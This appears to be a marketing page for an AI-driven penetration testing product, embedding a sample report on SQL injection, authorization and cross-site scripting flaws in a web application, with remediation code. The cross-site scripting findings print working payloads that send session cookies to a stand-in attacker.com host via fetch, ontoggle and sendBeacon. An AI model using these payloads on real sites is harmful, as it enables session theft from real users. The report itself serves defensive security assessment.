// Never expose billing data through this endpoint
},
});
if (!user) return res.status(404).json({ error: 'User not found' });
return res.json(user);
}
if (req.method === 'PUT') {
if (req.user.id !== targetId) {
return res.status(403).json({ error: 'Forbidden' });
}
// Prevent role escalation
const { role, ...safeData } = req.body;
const updated = await prisma.user.update({
where: { id: targetId },
data: safeData,
});
return res.json(updated);
}
}Priority: This Sprint — Enables mass data extraction and privilege escalation.
Medium Findings
XSS-VULN-01: Reflected XSS via q Parameter
| Field | Value |
|---|---|
| Severity | Medium |
| CVSS | 6.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |
| CWE | CWE-79: Cross-site Scripting (Reflected) |
| Location | src/components/SearchResults.tsx:15 |
| Status | Confirmed — Exploited |
Description
The search results page reflects the search query from the q URL parameter directly into the page DOM without encoding. The component uses dangerouslySetInnerHTML to highlight search terms in results, but also reflects the raw query in the search header. An attacker can craft a URL containing JavaScript that executes when a victim clicks the link.
Vulnerable Code
// src/components/SearchResults.tsx:15
import { useRouter } from 'next/router';
export function SearchResults({ results }: { results: SearchResult[] }) {
const router = useRouter();
const query = router.query.q as string;
return (
<div className="search-results">
{/* Reflected XSS: query rendered without encoding */}
<h2
dangerouslySetInnerHTML={{
__html: `Search results for "${query}"`,
}}
/>
<p className="result-count">{results.length} results found</p>
{results.map((result) => (
<div key={result.id} className="result-item">
<h3>{result.title}</h3>
<p
dangerouslySetInnerHTML={{
__html: highlightTerms(result.description, query),
}}
/>
</div>
))}
</div>
);
}Data Flow
GET /search?q=USER_INPUT
↓
src/components/SearchResults.tsx:15 — router.query.q extracted
↓ NO ENCODING
src/components/SearchResults.tsx:20 — dangerouslySetInnerHTML renders query
↓
JavaScript executes in victim's browserExploitation
The agent crafted a malicious search URL:
https://app.acme-corp.com/search?q="><img src=x onerror=alert(document.domain)>
→ Page renders: Search results for ""><img src=x onerror=alert(document.domain)>"
→ JavaScript alert fires showing "app.acme-corp.com"Cookie exfiltration payload:
https://app.acme-corp.com/search?q="><script>fetch('https://attacker.com/log?c='+document.cookie)</script>
→ Session cookie sent to attacker-controlled serverImpact
An attacker can:
- Steal session tokens from users who click crafted links
- Perform actions on behalf of the victim
- Redirect users to phishing pages
- Deface the search results page with misleading content
This requires user interaction (clicking a malicious link), which reduces severity compared to stored XSS.
Remediation
Encode the search query before rendering:
function escapeHtml(str: string): string {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
export function SearchResults({ results }: { results: SearchResult[] }) {
const router = useRouter();
const query = router.query.q as string;
return (
<div className="search-results">
<h2>Search results for "{query}"</h2>
{/* React's JSX auto-escapes, so just use normal interpolation */}
{results.map((result) => (
<div key={result.id} className="result-item">
<h3>{result.title}</h3>
<p
dangerouslySetInnerHTML={{
__html: highlightTerms(result.description, escapeHtml(query)),
}}
/>
</div>
))}
</div>
);
}Priority: Next Sprint — Reflected XSS requires user interaction and is lower impact than stored variants.
XSS-VULN-03: DOM XSS in Markdown Preview
| Field | Value |
|---|---|
| Severity | Medium |
| CVSS | 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) |
| CWE | CWE-79: Cross-site Scripting (DOM-based) |
| Location | src/components/MarkdownPreview.tsx:12 |
| Status | Confirmed — Exploited |
Description
The markdown preview component used in issue descriptions, comments, and wiki pages converts markdown to HTML using the marked library with default settings that allow raw HTML pass-through. When a user previews content containing malicious HTML or JavaScript, it executes in their browser. While the rendered content is sanitized before final save and display, the live preview is unprotected.
Vulnerable Code
// src/components/MarkdownPreview.tsx:12
import { marked } from 'marked';
import { useEffect, useState } from 'react';
interface MarkdownPreviewProps {
source: string;
}
export function MarkdownPreview({ source }: MarkdownPreviewProps) {
const [html, setHtml] = useState('');
useEffect(() => {
// marked() with default options allows raw HTML pass-through
const rendered = marked(source, { breaks: true });
setHtml(rendered as string);
}, [source]);
return <div className="markdown-preview prose" dangerouslySetInnerHTML={{ __html: html }} />;
}// marked default configuration — sanitize option was removed in v4.x
// Raw HTML in markdown is passed through without modificationData Flow
User types markdown with HTML in editor
↓
src/components/MarkdownPreview.tsx:12 — source prop received
↓
marked(source) — converts markdown to HTML, passes through raw HTML
↓ NO SANITIZATION
dangerouslySetInnerHTML renders output in preview pane
↓
JavaScript executes in user's browser during previewExploitation
The agent demonstrated DOM XSS by entering malicious markdown in the comment editor:
# Normal looking heading
Here is some **bold** text and a [link](https://example.com).
<details open ontoggle="fetch('https://attacker.com/xss?c='+document.cookie)">
<summary>Click to expand</summary>
This looks like normal content.
</details>When the preview pane rendered this content:
→ The <details> element's ontoggle handler fires immediately (due to "open" attribute)
→ Session cookie exfiltrated via fetch to attacker server
→ User sees normal-looking markdown in the previewAn alternative payload using image onerror:
Check out this diagram:
<img src="x" onerror="navigator.sendBeacon('https://attacker.com/log', document.cookie)">Impact
An attacker can:
- Execute JavaScript in the previewing user’s browser context
- Steal session tokens during the preview interaction
- Self-XSS can be escalated if preview URLs are shareable or if content is pasted from clipboard
The impact is partially mitigated because:
- The XSS occurs only during preview, not on the saved/rendered page
- It requires the victim to preview attacker-supplied markdown content
- In most cases, this affects only the user entering the content
Remediation
Configure marked to disable HTML pass-through and add DOMPurify sanitization:
import { marked } from 'marked';
import DOMPurify from 'isomorphic-dompurify';
export function MarkdownPreview({ source }: MarkdownPreviewProps) {
const [html, setHtml] = useState('');
useEffect(() => {
const rendered = marked(source, {
breaks: true,
// Note: sanitize option was removed in marked v4
// Must use external sanitizer
});
// Sanitize the rendered HTML before displaying
const clean = DOMPurify.sanitize(rendered as string, {
ALLOWED_TAGS: [
'h1',
'h2',
'h3',
'h4',
'h5',
'h6',
'p',
'a',
'img',
'ul',
'ol',
'li',
'blockquote',
'code',
'pre',
'em',
'strong',
'table',
'thead',
'tbody',
'tr',
'th',
'td',
'br',
'hr',
'details',
'summary',
],
ALLOWED_ATTR: ['href', 'src', 'alt', 'title', 'class'],
});
setHtml(clean);
}, [source]);
return <div className="markdown-preview prose" dangerouslySetInnerHTML={{ __html: html }} />;
}Priority: Next Sprint — DOM XSS limited to preview context with user interaction required.
Remediation Priority Matrix
| Priority | Finding | Effort | Risk Reduction |
|---|---|---|---|
| P0 — Immediate | INJ-VULN-01 | Low | Critical |
| P0 — Immediate | SSRF-VULN-01 | Low | Critical |
| P0 — Immediate | AUTHZ-VULN-02 | Medium | Critical |
| P1 — This Sprint | AUTH-VULN-03 | Low | High |
| P1 — This Sprint | AUTHZ-VULN-01 | Medium | High |
| P1 — This Sprint | AUTH-VULN-01 | Medium | High |
| P1 — This Sprint | AUTH-VULN-02 | Low | High |
| P1 — This Sprint | INJ-VULN-02 | Medium | High |
| P1 — This Sprint | SSRF-VULN-02 | Low | High |
| P1 — This Sprint | XSS-VULN-02 | Low | High |
| P2 — Next Sprint | XSS-VULN-01 | Low | Medium |
| P2 — Next Sprint | XSS-VULN-03 | Medium | Medium |
Methodology
Quant Sentinel performed this assessment using a 5-phase AI-driven pipeline:
- Scoping — Automated codebase analysis to identify technology stack, file structure, and API surface area
- Pre-Reconnaissance — Deep source code review targeting authentication flows, input handling, database queries, and outbound HTTP calls
- Reconnaissance — Browser-automated exploration of the running application, mapping all accessible endpoints, forms, and interactive elements
- Vulnerability Analysis — Five specialist agents (Injection, XSS, Authentication, SSRF, Authorization) performed parallel analysis combining source code review with live testing
- Exploitation — Confirmed vulnerabilities were safely exploited to validate severity and demonstrate real-world impact
Each agent used Claude Sonnet 4.5 via the Quant Cloud Bedrock API with browser automation (Playwright) for dynamic testing.
Appendix: CVSS Score Distribution
| Score Range | Count | Classification |
|---|---|---|
| 9.0 — 10.0 | 3 | Critical |
| 7.0 — 8.9 | 7 | High |
| 4.0 — 6.9 | 2 | Medium |
| 0.0 — 3.9 | 0 | Low |
Mean CVSS Score: 8.04 Median CVSS Score: 7.85
Five-phase pipeline
Each assessment follows a structured pipeline that adapts to your target and testing mode.
Scoping
Analyses source code to identify attack surface, tech stack, and high-risk areas.
Pre-reconnaissance
Deep code analysis to find potential vulnerability patterns before live testing begins.
Reconnaissance
Browser-based mapping of the running application, authentication flows, and API endpoints.
Vulnerability + Exploitation
Parallel specialist agents analyse and exploit confirmed vulnerabilities with proof-of-concept.
Reporting
Executive summary, detailed findings with CVSS scores, and SARIF export for CI/CD integration.
Testing modes
Adapt to Any Engagement
Choose the testing mode that matches your access level. White-box adds deep source code analysis. Grey-box uses API specifications. Black-box relies entirely on dynamic testing — no source or spec required.
Pipeline adapts automatically to available information
- Safe mode skips exploitation for risk-averse scans
- Scoped analysis via source paths or URL rules
- Source code
- API spec
- Browser testing
- HTTP tools
- Source code
- API spec
- Browser testing
- HTTP tools
- Source code
- API spec
- Browser testing
- HTTP tools
Target types
Web Apps, APIs, or Both
Webapp agents use Playwright for browser-based testing. API agents use HTTP and GraphQL tools. Hybrid mode runs all vulnerability types in parallel — 9 specialist agents covering both attack surfaces simultaneously.
- 5 concurrent Playwright instances for webapp testing
- OpenAPI and GraphQL spec ingestion
- REST, GraphQL, and WebSocket endpoint discovery
Configuration
Authenticate and Scope
Describe login flows in natural language. Support for form-based login, TOTP two-factor, OAuth2, and API keys. Define focus and exclusion rules to target specific areas of your application.
- Natural language login flow descriptions
- TOTP 2FA support built-in
- URL path and subdomain scoping rules
Automation
Security in Your Pipeline
Run Sentinel in CI/CD with —quiet mode. Export findings as SARIF 2.1.0 for integration with GitHub Security, GitLab SAST, and other scanning tools. Track costs per scan for budget management.
- SARIF 2.1.0 with OWASP and CWE mappings
- Docker image for containerised execution
- Per-agent cost tracking and session metrics
Reporting
Evidence, Not Assumptions
Every finding includes the vulnerable code, the exploitation proof-of-concept, and step-by-step remediation. Executive summaries for leadership, detailed technical findings for engineers.
- CVSS 3.1 scoring with CWE references
- Working exploitation proof for every finding
- Actionable remediation with code examples
Critical · CVSS 9.8
SQL Injection in Search Endpoint
CWE-89 · src/pages/api/search.ts:47
WHERE name ILIKE ’%${req.query.q}%’`
Exploited: UNION SELECT version() returned PostgreSQL 16.2
Built for security teams
From manual pentest replacement to automated CI/CD security gates.
Security teams
Replace expensive manual penetration tests with automated assessments that run in under an hour.
- Full OWASP Top 10 coverage
- Exploitation proof-of-concept
- Executive and technical reports
DevSecOps
Shift-left security testing integrated directly into your development pipeline.
- SARIF export for CI/CD
- Quiet mode for headless runs
- Cost tracking per scan
Compliance and audit
Generate audit-ready reports with finding evidence, CVSS scores, and remediation guidance.
- CWE references
- CVSS 3.1 scoring
- Detailed remediation steps
Government
IRAP assessed platform with Australian data sovereignty and local support.
- Australian owned and operated
- IRAP assessed
- Local support team
Start your first automated pentest
Deploy Sentinel against your application and get a comprehensive security assessment in under an hour.